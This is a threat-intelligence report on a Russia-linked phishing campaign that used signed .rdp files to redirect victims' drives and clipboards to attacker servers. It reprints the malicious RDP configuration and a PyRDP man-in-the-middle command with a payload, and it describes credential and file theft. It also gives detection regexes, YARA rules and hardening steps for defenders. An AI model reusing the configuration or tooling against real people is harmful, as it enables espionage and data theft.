GCP – Windows Remote Desktop Protocol: Remote to Rogue

Written by: Rohit Nambiar

Executive Summary

In October 2024, Google Threat Intelligence Group (GTIG) observed a novel phishing campaign targeting European government and military organizations that was attributed to a suspected Russia-nexus espionage actor we track as UNC5837. The campaign employed signed .rdp file attachments to establish Remote Desktop Protocol (RDP) connections from victims’ machines. Unlike typical RDP attacks focused on interactive sessions, this campaign creatively leveraged resource redirection (mapping victim file systems to the attacker servers) and RemoteApps (presenting attacker-controlled applications to victims). Evidence suggests this campaign may have involved the use of an RDP proxy tool like PyRDP to automate malicious activities like file exfiltration and clipboard capture. This technique has been previously dubbed as “Rogue RDP.”

The campaign likely enabled attackers to read victim drives, steal files, capture clipboard data (including passwords), and obtain victim environment variables. While we did not observe direct command execution on victim machines, the attackers could present deceptive applications for phishing or further compromise. The primary objective of the campaign appears to be espionage and file theft, though the full extent of the attacker’s capabilities remains uncertain. This campaign serves as a stark reminder of the security risks associated with obscure RDP functionalities, underscoring the importance of vigilance and proactive defense.

Introduction

Remote Desktop Protocol (RDP) is a legitimate Windows service that has been well researched by the security community. However, most of the security community’s existing research is focused on the adversarial use of RDP to control victim machines via interactive sessions. 

This campaign included use of RDP that was not focused on interactive control of victim machines. Instead, adversaries leveraged two lesser-known features of the RDP protocol to present an application (the nature of which is currently unknown) and access victim resources. Given the low prevalence of this tactic, technique, and procedure (TTP) in previous reporting, we seek to explore the technical intricacies of adversary tradecraft abusing the following functionality of RDP:

• RDP Property Files (.rdp configuration files)

• Resource redirection (e.g. mapping victim file systems to the RDP server)

• RemoteApps (i.e. displaying server-hosted applications to victim)

Additionally, we will shed light on PyRDP, an open-source RDP proxy tool that offers attractive automation capabilities to attacks of this nature.

By examining the intricacies of the tradecraft observed, we gain not only a better understanding of existing campaigns that have employed similar tradecraft, but of attacks that may employ these techniques in the future.

Campaign Operations

This campaign tracks a wave of suspected Russian espionage activity targeting European government and military organizations via widespread phishing. Google Threat Intelligence Group (GTIG) attributes this activity to a suspected Russia-nexus espionage actor group we refer to as UNC5837. The Computer Emergency Response Team of Ukraine (CERT-UA) reported this campaign on Oct. 29, 2024, noting the use of mass-distributed emails with.rdp file attachments among government agencies and other Ukrainian organizations. This campaign has also been documented by Microsoft, TrendMicro, and Amazon.

The phishing email in the campaign claimed to be part of a project in conjunction with Amazon, Microsoft, and the Ukrainian State Secure Communications and Information Security Agency. The email included a signed .rdp file attachment purporting to be an application relevant to the described project. Unlike more common phishing lures, the email explicitly stated no personal data was to be provided and if any errors occurred while running the attachment, to ignore it as an error report would be automatically generated.

Executing the signed attachment initiates an RDP connection from the victim’s machine. The attachment is signed with a Let’s Encrypt certificate issued to the domain the RDP connection is established with. The signed nature of the file bypasses the typical yellow warning banner, which could otherwise alert the user to a potential security risk. More information on signature-related characteristics of these files are covered in a later section.

The malicious .rdp configuration file specifies that, when executed, an RDP connection is initiated from the victim’s machine while granting the adversary read & write access to all victim drives and clipboard content. Additionally, it employs the RemoteApp feature, which presents a deceptive application titled “AWS Secure Storage Connection Stability Test” to the victim’s machine. This application, hosted on the attacker’s RDP server, masquerades as a locally installed program, concealing its true, potentially malicious nature. While the application’s exact purpose remains undetermined, it may have been used for phishing or to trick the user into taking action on their machine, thereby enabling further access to the victim’s machine. 

Further analysis suggests the attacker may have used an RDP proxy tool like PyRDP (examined in later sections), which could automate malicious activities such as file exfiltration and clipboard capture, including potentially sensitive data like passwords. While we cannot confirm the use of an RDP proxy tool, the existence, ease of accessibility, and functionalities offered by such a tool make it an attractive option for this campaign. Regardless of whether such a tool was used or not, the tool is bound to the permissions granted by the RDP session. At the time of writing, we are not aware of an RDP proxy tool that exploits vulnerabilities in the RDP protocol, but rather gives enhanced control over the established connection. 

The techniques seen in this campaign, combined with the complexity of how they interact with each other, make it tough for incident responders to assess the true impact to victim machines. Further, the number of artifacts left to perform post-mortem are relatively small, compared to other attack vectors. Because existing research on the topic is speculative regarding how much control an attacker has over the victim, we sought to dive deeper into the technical details of the technique components. While full modi operandi cannot be conclusively determined, UNC5837’s primary objective appears to be espionage and file stealing.

Deconstructing the Attack: A Deep Dive into RDP Techniques

Remote Desktop Protocol

The RDP is used for communication between the Terminal Server and Terminal Server Client. RDP works with the concept of “virtual channels” that are capable of carrying presentation data, keyboard/mouse activity, clipboard data, serial device information, and more. Given these capabilities, as an attack vector, RDP is commonly seen as a route for attackers in possession of valid victim credentials to gain full graphical user interface (GUI) access to a machine. However, the protocol supports other interesting capabilities that can facilitate less conventional attack techniques.

RDP Configuration Files

RDP has a number of properties that can be set to customize the behavior of a remote session (e.g., IP to connect to, display settings, certificate options). While most are familiar with configuring RDP sessions via a traditional GUI (mstsc.exe), these properties can also be defined in a configuration file with the .rdp extension which, when executed, achieves the same effect.

The following .rdp file was seen as an email attachment (SHA256): ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46

An excerpt of this .rdp file is displayed in Figure 3 with annotations describing some of the configuration settings.

# Connection information

alternate full address:s:eu-southeast-1-aws[.]govtr[.]cloud

full address:s:eu-southeast-1-aws[.]govtr[.]cloud

# Resource Redirection

drivestoredirect:s:*

redirectprinters:i:1

redirectcomports:i:1

redirectsmartcards:i:1

redirectwebauthn:i:1

redirectclipboard:i:1

redirectposdevices:i:1

# RemoteApp Config

remoteapplicationicon:s:C:WindowsSystemAppsMicrosoft.Windows.
SecHealthUI_cw5n1h2txyewyAssetsHealth.contrast-white.ico

remoteapplicationmode:i:1

remoteapplicationname:s:AWS Secure Storage Connection Stability Test 
v24091285697854

remoteapplicationexpandcmdline:i:0

remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% 

%USERDNSDOMAIN%

remoteapplicationprogram:s:||AWS Secure Storage Connection Stability 
Test v24091285697854

# Certificate Signing

signature:s:AQABAAEAAABIDgAAMIIORAYJKoZIhvcNAQcCoIIONTCCDj
ECAQExDzANBglghkgB ZQMEAgEFADALBgkqhkiG9w0BBwGggg1VMIID
hzCCAw2gAwIBAgISBAM9zxvijMss qZQ1HI92Q29iMAoGCCqGSM49BA
MDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1M ZXQncyBFbmNye
XB0MQswCQYDVQQDEwJFNTAeFw0yNDA5MjUxMzM1MjRaFw0yNDEy 
MjQxMzM1MjNaMBYxFDASBgNVBAMTC2dvdnRyLmNsb3VkMFkwEwY
HKoZIzj0CAQYI KoZIzj0DAQcDQgAE9QvXN8RVmfGSaJf0nPJcFoWu8N
whtD2/MJa+0N6k+7pn5XxS 2s74CVZ6alzVJhuRh3711HkOJ/NDZ1HgA
0IGtaOCAh0wggIZMA4GA1UdDwEB/wQE AwIHgDAdBgNVHSUEFjAUBg
grBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw ADAdBgNVHQ
4EFgQUmlyAvqbyzuGLNNsbP3za+WwgrfwwHwYDVR0jBBgwFoAUnytf 
zzwhT50Et+0rLMTGcIvS1w0wVQYIKwYBBQUHAQEESTBHMCEGCCsG
AQUFBzABhhVo dHRwOi8vZTUuby5sZW5jci5vcmcwIgYIKwYBBQUHM
AKGFmh0dHA6Ly9lNS5pLmxl bmNyLm9yZy8wJQYDVR0RBB4wHIINK
i5nb3Z0ci5jbG91ZIILZ292dHIuY2xvdWQw EwYDVR0gBAwwCjAIBgZng
QwBAgEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBI sONr2qZHNA/
lagL6nTDrHFIBy1bdLIHZu7+rOdiEcwAAAZIpml1hAAAEAwBIMEYC 
IQCpE8FeX9O+aQZBuhg0LrUcIpfZx9pojamHrrov9YJjSQIhAKBBEO2sSlX3Wxau 
c7p/xhzOfesiX4DnuCk57t...

Figure 3: .rdp file excerpt

When executed, this configuration file initiates an RDP connection to the malicious command-and-control (C2 or C&C) server eu-southeast-1-aws[.]govtr[.]cloud and redirects all drives, printers, COM ports, smart cards, WebAuthn requests (e.g., security key), clipboard, and point-of-sale (POS) devices to the C2 server.

The remoteapplicationmode parameter being set to 1 will switch the session from the “traditional” interactive GUI session to instead presenting the victim with only a part (application) of the RDP server. The RemoteApp, titled AWS Secure Storage Connection Stability Test v24091285697854, resides on the RDP server and is presented to the victim in a windowed popup. The icon used to represent this application (on the Windows taskbar for example) is defined by remoteapplicationicon. Windows environment variables %USERPROFILE%, %COMPUTERNAME%, and %USERDNSDOMAIN% are used as command-line arguments to the application. Due to the use of the property remoteapplicationexpandcmdline:i:0 , the Windows environment variables sent to the RDP server will be that of the client (aka victim), effectively performing initial reconnaissance upon connection.

Lastly, the signature property defines the encoded signature that signs the .rdp file. The signature used in this case was generated using Let’s Encrypt. Interestingly, the SSL certificate used to sign the file is issued for the domain the RDP connection is made to. For example, with SHA256: 1c1941b40718bf31ce190588beef9d941e217e6f64bd871f7aee921099a9d881.

Tools like rdp_holiday can be used to decode the public certificate embedded within the file in Figure 4.

The certificate is an SSL certificate issued for the domain the RDP connection is made to. This can be correlated with the RDP properties full_address / alternate_full_address.

alternate full address:s:eu-north-1-aws.ua-gov.cloud

full address:s:eu-north-1-aws.ua-gov.cloud

Figure 6: Remote Address RDP Proprties

.rdp files targeting other victims also exhibited similar certificate behavior.

In legitimate scenarios, an organization could sign RDP connections with SSL certificates tied to their organization’s certificate authority. Additionally, an organization could also disable execution of .rdp files from unsigned and unknown publishers. The corresponding GPO can be found under Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client -> Allow .rdp files from unknown publishers.

The policy in Figure 7 can optionally further be coupled with the “Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers” policy (within the same location) to add certificates as Trusted Publishers.

From an attacker’s perspective, existence of a signature allows the connection prompt to look less suspicious (i.e., without the usual yellow warning banner), as seen in Figure 8.

This RDP configuration approach is especially notable because it maps resources from both the adversary and victim machines: 

• This RemoteApp being presented resides on the adversary-controlled RDP server, not the client/victim machine. 

• The Windows environment variables are that of the client/victim that are forwarded to the RDP server as command-line arguments

• Victim file system drives are forwarded and accessible as remote shares on the RDP server. Only the drives accessible to the victim-user initiating the RDP connection are accessible to the RDP server. The RDP server by default has the ability to read and write to the victim’s file system drives

• Victim clipboard data is accessible to the RDP server. If the victim machine is running within a virtualized environment but shares its clipboard with the host machine in addition to the guest, the host’s clipboard will also be forwarded to the RDP server.

Keeping track of what activity happens on the victim and on the server in the case of an attacker-controlled RDP server helps assess the level of control the attacker has over the victim machine. A deeper understanding of the RDP protocol’s functionalities, particularly those related to resource redirection and RemoteApp execution, is crucial for analyzing tools like PyRDP. PyRDP operates within the defined parameters of the RDP protocol, leveraging its features rather than exploiting vulnerabilities. This makes understanding the nuances of RDP essential for comprehending PyRDP’s capabilities and potential impact. 

More information on RDP parameters can be found here and here.

Resource Redirection

The campaign’s .rdp configuration file set several RDP session properties for the purpose of resource redirection. 

RDP resource redirection enables the utilization of peripherals and devices connected to the local system within the remote desktop session, allowing access to resources such as:

• Printers

• Keyboards, mouse

• Drives (hard drives, CD/DVD drives, etc.)

• Serial ports

• Hardware keys like Yubico (via smartcard and WebAuthn redirection)

• Audio devices

• Clipboards (for copy-pasting between local and remote systems)

Resource redirection in RDP is facilitated through Microsoft’s “virtual channels.” The communication happens via special RDP packets, called protocol data packets (PDU), that mirror changes between the victim and attacker machine as long as the connection is active. More information on virtual channels and PDU structures can be found in MS-RDPERP.

Typically, virtual channels employ encrypted communication streams. However, PyRDP is capable of capturing the initial RDP handshake sequences and hence decrypting the RDP communication streams.

Remote Programs / RemoteApps

RDP has an optional feature called RemoteApp programs, which are applications (RemoteApps) hosted on the remote server that behave like a windowed application on the client system, which in this case is a victim machine. This can make a malicious remote app seem like a local application to the victim machine without ever having to touch the victim machine’s disk. 

Figure 10 is an example of the MS Paint application presented as a RemoteApp as seen by a test victim machine. The application does not exist on the victim machine but is presented to appear like a native application. Notice how there is no banner/top dock that indicates an RDP connection one would expect to see in an interactive session. The only indicator appears to be the RDP symbol on the taskbar.

All resources used by RemoteApp belong to that of the RDP server. Additionally, if victim drives are mapped to the RDP server, they are accessible by the RemoteApp as well.

PyRDP

While the use of a tool like PyRDP in this campaign cannot be confirmed, the automation capabilities it offers make it an attractive option worth diving deeper into. A closer look at PyRDP will illuminate how such a tool could be useful in this context.

PyRDP is an open-source, Python-based, man-in-the-middle (MiTM) RDP proxy toolkit designed for offensive engagements.

PyRDP operates by running on a host (MiTM server) and pointing it to a server running Windows RDP. Victims connect to the MiTM server with no indication of being connected to a relay server, while PyRDP seamlessly relays the connection to the final RDP server while providing enhanced capabilities over the connection, such as:

• Stealing NTLM hashes of the credentials used to authenticate to the RDP server

• Running commands on the RDP server after the user connects

• Capturing the user’s clipboard

• Enumerating mapped drives

• Stream, record (video format), and session takeover

It’s important to note that, from our visibility, PyRDP does not exploit vulnerabilities or expose a new weakness. Instead, PyRDP gives granular control to the functionalities native to the RDP protocol.

Password Theft

PyRDP is capable of stealing passwords, regardless of whether Network Level Authentication (NLA) is enabled. In the case NLA is enabled, it will capture the NTLM hash via the NLA as seen in Figure 12. It does so by interrupting the original RDP connection sequence and completing part of it on its own, thereby allowing it to capture hashed credentials. The technique works in a similar way to Responder. More information about how PyRDP does this can be found here.

Alternatively, if NLA is not enabled, PyRDP attempts to scan the codes it receives when a user tries to authenticate and convert them into virtual key codes, thereby “guessing” the supplied password. The authors of the tool refer to this as their “heuristic method” of detecting passwords.

When the user authenticates to the RDP server, PyRDP captures these credentials used to login to the RDP server. In the event the RDP server is controlled by the adversary (e.g., in this campaign), this feature does not add much impact since the credentials captured belong to the actor-controlled RDP server. This capability becomes impactful, however, when an attacker attempts an MiTM attack where the end server is not owned by them.

It is worth noting that during setup, PyRDP allows credentials to be supplied by the attacker. These credentials are then used to authenticate to the RDP server. By doing so, the user does not need to be prompted for credentials and is directly presented with the RemoteApp instead. In the campaign, given that the username RDP property was empty, the RDP server was attacker-controlled, and the RemoteApp seemed to be core to the storyline of the operation, we suspect a tool like PyRDP was used to bypass the user authentication prompt to directly present the AWS Secure Storage Connection Stability Test v24091285697854 RemoteApp to the victim.

Finally, PyRDP automatically captures the RDP challenge during connection establishment. This enables RDP packets to be decrypted if raw network captures are available, revealing more granular details about the RDP session.

Command Execution

PyRDP allows for commands to be executed on the RDP server. However, it does not allow for command execution on the victim’s machine. At the time of deployment, commands to be executed can be supplied to PyRDP in the following ways:

• MS-DOS (cmd.exe)

• PowerShell commands

• PowerShell scripts hosted on the PyRDP server file system

PyRDP executes the command by freezing/blocking the RDP session for a given amount of time, while the command executes in the background. To the user, it seems like the session froze. At the time of deploying the PyRDP MiTM server, the attacker specifies:

• What command to execute (in one of the aforementioned three ways)

• How long to block/freeze the user session for

• How long the command will take to complete

PyRDP is capable of detecting user connections and disconnections to RDP sessions. However, it lacks the ability to detect user authentication to the RDP server. As a user may connect to an RDP session without immediately proceeding to account login, PyRDP cannot determine authentication status, thus requiring the attacker to estimate a waiting period following user connection (and preceding authentication) before executing commands. It also requires the attacker to define the duration for which the session is to be frozen during command execution, since PyRDP has no way of knowing when the command completes. 

The example in Figure 14 relays incoming connections to an RDP server on 192.168.1.2. Upon connection, it then starts the calc.exe process on the RDP server 20 seconds after the user connects and freezes the user session for five seconds while the command executes.

sudo docker run -p 3389:3389 gosecure/pyrdp pyrdp-mitm 192.168.1.2 --payload 
"timeout 5 & start calc.exe" --payload-delay 20000 --payload-duration 5000

Figure 14: PyRDP deployment command

A clever attacker can use this capability of PyRDP to plant malicious files on a redirected drive, even though it cannot directly run it on the victim machine. This could facilitate dropping malicious files in locations that allow for further persistent access (e.g., via DLL-sideloading, malware in startup locations). Defenders can hunt for this activity by monitoring file creations originating from mstsc.exe. We’ll dive deeper into practical detection strategies later in this post.

Clipboard Capture

PyRDP automatically captures the clipboard of the victim user for as long as the RDP connection is active. This is one point where the attacker’s control extends beyond the RDP server and onto the victim machine. 

Note that if a user connects from a virtual environment (e.g., VMware) and the host machine’s clipboard is mapped to the virtual machine, it would also be forwarded to the RDP session. This can allow the attacker to capture clipboard content from the host and guest machine combined. 

Scraping/Browsing Client Files

With file redirection enabled, PyRDP can crawl the target system and save all or specified folders to the MiTM server if instructed at setup using the --crawl option. If the --crawl option is not specified at setup, PyRDP will still capture files, but only those accessed by the user during the RDP session, such as environment files. During an active connection, an attacker can also connect to the live stream and freely browse the target system’s file system via the PyRDP-player GUI to download files (see Figure 15). 

It is worth noting that while PyRDP does not explicitly present the ability to place files on the victim’s mapped drives, the RDP protocol itself does allow it. Should an adversary misuse that capability, it would be outside the scope of PyRDP.

Stream/Capture/Intercept RDP Sessions

PyRDP is capable of recording RDP sessions for later playback. An attacker can optionally stream each intercepted connection and thereafter connect to the stream port to interact with the live RDP connection. The attacker can also take control of the RDP server and perform actions on the target system. When an attacker takes control, the RDP connection hangs for the user, similar to when commands are executed when a user connects. 

Streaming, if enabled with the -i option, defaults to TCP port 3000 (configurable). Live connections are streamed on a locally bound port, accessible via the included pyrdp-player script GUI. Upon completion of a connection, an .mp4 recording of the session can be produced by PyRDP.

Recommendations for Defenders

This section focuses on collecting forensic information, hardening systems, and developing detections for RDP techniques used in the campaign.

Security detections detailed in this section are already integrated into the Google SecOps Enterprise+ platform. In addition, Google maintains similar proactive measures to protect Gmail and Google Workspace users.

Log Artifacts

Default Windows Machine

During testing, limited evidence was recovered on default Windows systems after drive redirection and RemoteApp interaction. In practice, it would be difficult to distinguish between a traditional RDP connection and one with drive redirection and/or RemoteApp usage on a default Windows system. From a forensic perspective, the following patterns are of moderate interest: 

• Creation of the following registry key upon connection, which gives insight into attacker server address and username used:

HKUS-1-5-21-4272539574-4060845865-869095189-1000SOFTWARE
MicrosoftTerminal Server ClientServers<attacker_IP_Address>

HKUS-1-5-21-4272539574-4060845865-869095189-1000SOFTWARE
MicrosoftTerminal Server ClientServers<attacker_server>UsernameHint: 
"<username used for connection>"

• The information contained in the Windows Event Logs (Microsoft-Windows-TerminalServices-RDPClient/Operational): 

• Event ID 1102: Logs attacker server IP address

• Event ID 1027: Logs attacker server domain name

• Event ID 1029: Logs username used to authenticate in format base64(sha256(username)).

Heightened Logging Windows Machine

With enhanced logging capabilities (e.g., Sysmon, Windows advanced audit logging, EDR), artifacts indicative of file write activity on the target system may be present. This was tested and validated using Sysmon file creation events (event ID 11). 

Victim system drives can be mapped to the RDP server via RDP resource redirection, enabling both read and write operations. Tools such as PyRDP allow for crawling and downloading the entire file directory of the target system. 

When files are written to the target system using RDP resource redirection, the originating process is observed to be C:Windowssystem32mstsc.exe. A retrospective analysis of a large set of representative data consisting of enhanced logs indicates that file write events originating from mstsc.exe are a common occurrence but display a pattern that could be excluded from alerting. 

For example, multiple arbitrarily named terminal server-themed .tmp files following the regex pattern _TS[A-Z0-9]{4}.tmp (e.g., _TS4F12.tmp) are written to the user’s %APPDATA%/Local/Temp directory throughout the duration of the connection.

EventType: FileCreation
Parent Process: C:WindowsSystem32mstsc.exe
Target Files:
	--> C:UsersSpongebobAppDataLocalTemp_TS1D72.tmp
	--> C:UsersSpongebobAppDataLocalTemp_TS7B73.tmp
	--> C:UsersSpongebobAppDataLocalTemp_TS36B3.tmp

Additionally, several file writes and folder creations related to the protocol occur in the %APPDATA%/LocalMicrosoftTerminal Server Client directory. 

Depending upon the RDP session, excluding these protocol-specific file writes could help manage the number of events to triage and spot potentially interesting ones. It’s worth noting that the Windows system by default will delete temporary folders from the remote computer upon logoff. This does not apply to the file operations on redirected drives.

Should file read activity be enabled, mstsc.exe-originating file reads could warrant suspicion. It is worth noting that file-read events by nature are noisy due to the way the Windows subsystem operates. Caution should be taken before enabling it.

.rdp File via Email

The .rdp configuration file within the campaign was observed being sent as an email attachment. While it’s not uncommon for IT administrators to send .rdp files over email, the presence of an external address in the attachment may be an indicator of compromise. The following regex patterns, when run against an organization’s file creation events, can indicate .rdp files being run directly from Outlook email attachments:

/\AppData\Local\Microsoft\Windows\(INetCache|Temporary Internet Files)
\Content.Outlook\[A-Z0-9]{8}\[^\]{1,255}.rdp$/

/\AppData\Local\Packages\Microsoft.Outlook_[a-zA-Z0-9]{1,50}\.{0,120}
\[^\]{1,80}.rdp$/

/\AppData\Local\Microsoft\Olk\Attachments\([^\]{1,50}\){0,5}[^\]
{1,80}.rdp$/

System Hardening

The following options could assist with hardening enterprise environments against RDP attack techniques.

• Network-level blocking of outgoing RDP traffic to public IP addresses

• Disable resource redirection via the Registry

• Key: HKEY_LOCAL_MACHINESoftwareMicrosoftTerminal Server Client

• Type: REG_DWORD

• Value name: DisableDriveRedirection

• Value data: 1

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client

• Allow .rdp files from unknown publishers: Setting this to disable will not allow users to run unsigned .rdp files as well as ones from untrusted publishers.

• Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers: A way to add certificate SHA1s as trusted file publishers

• Resource redirection

• Clipboard redirection

• Forcing Network Level Authentication

• Time limits for active/idle connections

The applicability of these measures is subject to the nature of activity within a given environment and what is considered “normal” behavior.

YARA Rules

These YARA rules can be used to detect suspicious RDP configuration files that enable resource redirection and RemoteApps.

/*
  Detect RDP config files utilizing RemoteApp and ResourceRedirection
*/
rule G_Hunting_RDP_File_RemoteApp_ResourceRedir_1
{
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detect RDP config files utilizing RemoteApp and resource 
redirection"
  strings:
    $rdp_param1 = "remoteapplicationmode:i:1" wide
    $rdp_param2 = "drivestoredirect:s:" wide
    $rdp_param3 = "remoteapplicationprogram:s:" wide
    $rdp_param4 = "remoteapplicationname:s:" wide

  condition:
    filesize < 20KB and (2 of ($rdp_param*))
}

/*
  Detect RDP config files with a base64 LetsEncrypt certificate
*/
rule G_Hunting_RDP_File_LetsEncrypt_Signed_1
{
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects signed RDP configuration files that contain 
a base64 encoded LetsEncrypt certificate"
  strings:
    $rdp_param1 = "full address" wide
    $rdp_param2 = "redirectclipboard" wide
    $rdp_param3 = "remoteapplicationmode" wide
    $rdp_param4 = "compression" wide
    $rdp_param5 = "remoteapplicationexpandcmdline" wide
    $rdp_param6 = "promptcredentialonce" wide
    $rdp_param7 = "allow font smoothing" wide
    $rdp_param8 = "desktopheight" wide
    $rdp_param9 = "screen mode id" wide
    $rdp_param10 = "videoplaybackmode" wide

    $lets_encrypt_1 = "Let's Encrypt" base64wide
    $lets_encrypt_2 = "lencr.org" base64wide

  condition:
    filesize < 20KB and (any of ($lets_encrypt_*)) and (2 of ($rdp_param*))
}

Final Thoughts

This campaign demonstrates how common tradecraft can be revitalized with alarming effectiveness through a modular approach. By combining mass emailing, resource redirection, and the creative sleight-of-hand use of RemoteApps, the actor could effectively leverage existing RDP techniques while leaving minimal forensic evidence. This combination of familiar techniques, deployed in an unconventional manner, proved remarkably effective, proving that the true danger of Rogue RDP lies not in the code, but in the con.

In this particular campaign, while control over the target system seems limited, the main capabilities revolve around file stealing, clipboard data capture, and access to environment variables. It is more likely this campaign was aimed at espionage and user manipulation during interaction. Lastly, this campaign once again underscores how readily available red teaming tools intended for education purposes are weaponized by malicious actors with harmful intentions.

Acknowledgments

Special thanks to: Van Ta, Steve Miller, Barry Vengerik, Lisa Karlsen, Andrew Thompson, Gabby Roncone, Geoff Ackerman, Nick Simonian, and Mike Stokkel. 

References 

• CERT-UA Campaign Post

• MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting)

• MS-RDPERP (Remote Desktop Protocol: Remote Programs Virtual Channel Extension)

• MS-RDPECLIP (Remote Desktop Protocol: Clipboard Virtual Channel Extension)

• MS-RDPEFS (Remote Desktop Protocol: File System Virtual Channel Extension)

• RDP Properties (Microsoft)

• RDP Properties (donkz.nl)

• Rogue RDP – Revisiting Initial Access Methods (Black Hills Information Security)

• PyRDP GitHub